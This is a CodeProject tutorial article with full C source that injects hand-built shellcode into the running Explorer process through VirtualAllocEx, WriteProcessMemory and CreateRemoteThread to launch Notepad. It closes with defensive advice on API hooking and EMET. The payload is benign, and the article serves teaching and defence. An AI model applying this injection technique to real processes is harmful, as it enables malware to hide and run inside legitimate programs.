Click here to Skip to main content
Click here to Skip to main content
Go to top

Code Injection

, 28 Feb 2014
Rate this:
Please Sign up or sign in to vote.
This program will demonstrate the process of injecting code into already running processes. Here we have choosen to inject into Explorer

Introduction

We will see the different steps involved to perform a code injection into an already running process.

Following are the quick steps through the process of injection.

  1. Get the API addresses that you will be calling from the injected code.
  2. Prepare shell code of your function that you want to get executed from the injected process.
  3. Get the process ID of the running process that you wish to inject into by enumerating through the list of processes or by finding the process's window (in case it's a GUI application) by class name or title.
  4. Open the process using its Pid with All Access rights.
  5. Allocate different memory spaces in the process that you are going to inject to with desired access rights for holding different segments of your shell code.
    1. Code part (executable instructions)
    2. Data part (strings, function parameters, etc.)
  6. Write the allocated memories with the respective values (code and data).
  7. Call CreateRemoteThread API and pass to it the start of allocated memory address where you have written your shell code from the process we are injecting.

Code

/*
    Application:    Code Injection in Explorer
    Author:        @_RT
    Compiled on:    Feb 2014

*/

#include <windows.h>
#pragma comment(lib,"user32.lib")

LPVOID addr;
LPVOID addr2;

BOOL InjectExecutable(DWORD dwPid,LPVOID si,LPVOID pi,int sisize,int pisize)
{
    LPVOID hNewModule;
    HANDLE hProcess;
    CHAR S[]    = { "C:\\Windows\\notepad.exe" };
    BYTE byt[]  = {0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x68};
    BYTE byt2[] = {0xE8};
    BYTE byt3[] = {0x68};

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        return FALSE;
    }

    LPVOID staddr = VirtualAllocEx(hProcess, NULL, sizeof(S), MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, staddr, S, sizeof(S), NULL);
    LPVOID fnaddr = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, fnaddr, si, sisize, NULL);
    LPVOID fnaddr2 = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, fnaddr2, pi, pisize, NULL);
    
    hNewModule = VirtualAllocEx(hProcess, NULL, 100, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (hNewModule == NULL)
    {
        return FALSE;
    }
    LPTHREAD_START_ROUTINE strtaddr = (LPTHREAD_START_ROUTINE)hNewModule;

    WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
    WriteProcessMemory(hProcess, hNewModule, &fnaddr, sizeof(fnaddr), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr));
    WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
    WriteProcessMemory(hProcess, hNewModule, &fnaddr2, sizeof(fnaddr2), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr2));
    WriteProcessMemory(hProcess, hNewModule, byt, sizeof(byt), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt));
    WriteProcessMemory(hProcess, hNewModule, &staddr, sizeof(staddr), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(staddr));
    WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
    addr = (LPVOID)((int)addr - ((int)hNewModule + 4));
    WriteProcessMemory(hProcess, hNewModule, &addr, sizeof(addr), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(addr));
    WriteProcessMemory(hProcess, hNewModule, byt, 2, NULL);
    hNewModule = (LPVOID)((int)hNewModule + 2);
    WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
    hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
    addr2 = (LPVOID)((int)addr2 - ((int)hNewModule + 4));
    WriteProcessMemory(hProcess, hNewModule, &addr2, sizeof(addr2), NULL);

    CreateRemoteThread(hProcess, 0, 0, strtaddr, NULL, 0, NULL);
    return TRUE;
}

void main()
{
    _STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    DWORD dwPid;
    HMODULE ldlib = LoadLibraryA("Kernel32.dll");
    addr = GetProcAddress(ldlib, "CreateProcessA");
    addr2 = GetProcAddress(ldlib, "ExitThread");
    GetWindowThreadProcessId(FindWindow(NULL, L"Start Menu"), &dwPid);
    
    InjectExecutable(dwPid,&si,&pi,sizeof(si),sizeof(pi));
}

A different approach for code injection is shown in the following listing which does not include any hard coded bytes and can be used for 32 bit and 64 bit versions.

How to Prevent Code Injection

Its quite hard to block code injection using standard rules of programming. Blocking this would require a hacker's perspective where you will have to hook few APIs to monitor your process for any foreign code.

Although there are many security measures implemented by Windows to block these kind of techniques like DEP (data execution prevention) ASLR, they won't help much in the scenario of the above code.

To block code injection of type that's shown above in my program and also of type 'DLL injection', here are few tips.

Hook VirtualAllocEx

API which is used to get a memory space in the required process and on each call of this API your hooked code will verify whether the process handle to this API refers to your process and if so, block this call and return.

Hook LoadLibrary

In your hook, you check against a list of DLL names that you know are part of the process and that may be loaded, or you can check against a list of known DLLs you don't want to load.
When you find a DLL, you don't want to load SetLastError(ERROR_ACCESS_DENIED) then return NULL. I set the last error so that people that write code looking for an error code get one. This appears to work, perhaps a different code may be more appropriate.

That will stop the DLL from loading.

Also, monitoring CreateRemoteThread API can help you defend your application against injection.

Also, I will recommend you to go through an article listed below which shows different methods of injection and you can then develop your own solution to prevent them after a little workaround.

*Important: Installing EMET will be very useful to mitigate many such attacking techniques.

Download EMET for free from Microsoft

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

Share

About the Author

Rt_
Engineer
India India
No Biography provided

Comments and Discussions

 
QuestionWhat does the data bytes do Pinmemberyafan2-Mar-14 2:35 
AnswerRe: What does the data bytes do [modified] PinprofessionalRt Tiwari2-Mar-14 18:20 
GeneralRe: What does the data bytes do Pinmemberyafan6-Mar-14 2:12 
QuestionWhat will be the output of this code? PinprofessionalSajeeshCheviry27-Feb-14 22:01 
AnswerRe: What will be the output of this code? PinprofessionalRt Tiwari27-Feb-14 23:15 
QuestionWhat does that code do? Pinmemberxdung2425-Feb-14 22:54 
AnswerRe: What does that code do? PinprofessionalRt Tiwari25-Feb-14 23:02 
GeneralRe: What does that code do? Pinmemberxdung2425-Feb-14 23:04 
GeneralRe: What does that code do? PinprofessionalRt Tiwari25-Feb-14 23:15 
QuestionInteresting PinmemberAnotherKen24-Feb-14 9:54 
AnswerRe: Interesting PinprofessionalRt Tiwari24-Feb-14 19:12 
AnswerRe: Interesting PinmemberJ. Wijaya24-Feb-14 23:10 
GeneralRe: Interesting PinprofessionalRt Tiwari24-Feb-14 23:49 
GeneralRe: Interesting PinmemberJ. Wijaya25-Feb-14 18:10 
GeneralRe: Interesting PinprofessionalRt Tiwari25-Feb-14 19:22 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

| Advertise | Privacy | Mobile
Web03 | 2.8.140921.1 | Last Updated 28 Feb 2014
Article Copyright 2014 by Rt_
Everything else Copyright © CodeProject, 1999-2014
Terms of Service
Layout: fixed | fluid